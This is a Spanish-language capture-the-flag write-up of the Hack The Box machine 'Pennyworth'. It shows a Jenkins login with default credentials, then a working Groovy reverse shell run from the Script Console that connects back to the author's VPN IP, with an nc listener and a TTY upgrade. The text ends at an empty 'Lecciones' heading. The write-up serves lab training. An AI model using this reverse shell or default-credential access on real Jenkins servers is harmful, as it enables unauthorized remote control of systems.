Pennyworth — HTB Start Point

Dificultad: Very Easy · SO: Linux · Tema: Jenkins con credenciales débiles → RCE vía Script Console

Contexto

Jenkins con credenciales por defecto da acceso administrativo; desde la Script Console se ejecuta Groovy con privilegios del servicio. El clásico "el orquestador CI como puerta trasera".

Reconocimiento

nmap -p- -sV -sC <IP>

nmap

Preparación

Establezco el host en /etc/hosts — comando diario en CTF, vale memorizarlo:

echo "<IP>    pennyworth.htb" | sudo tee -a /etc/hosts

Acceso inicial

Credenciales básicas (root:password) — entorno de práctica, pero el patrón es real: Jenkins expuesto + password por defecto = game over.

login

Dentro, activo el proyecto y corro el build. El propio Jenkins advierte que necesita parcheo — vector potencial que me guardo para después.

dashboard

Explotación

El camino directo: Script Console, nuestra herramienta de poder.

script console

Reverse shell en Groovy apuntando a mi IP de VPN (tun0):

String host = "<TU_IP_VPN>";
int port = 4444;
String cmd = "/bin/bash";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
    while (pi.available() > 0) so.write(pi.read());
    while (pe.available() > 0) so.write(pe.read());
    while (si.available() > 0) po.write(si.read());
    so.flush();
    po.flush();
    Thread.sleep(50);
}

Listener previo (siempre ANTES de disparar la shell):

nc -lvnp 4444

shell recibida

Tip de operativa: terminator o múltiples terminales — uno para listener, otro para trabajar. Comodidad = menos errores bajo presión.

Tratamiento de TTY para prompt interactivo:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Navegación por directorios hasta la flag:

flag

Lecciones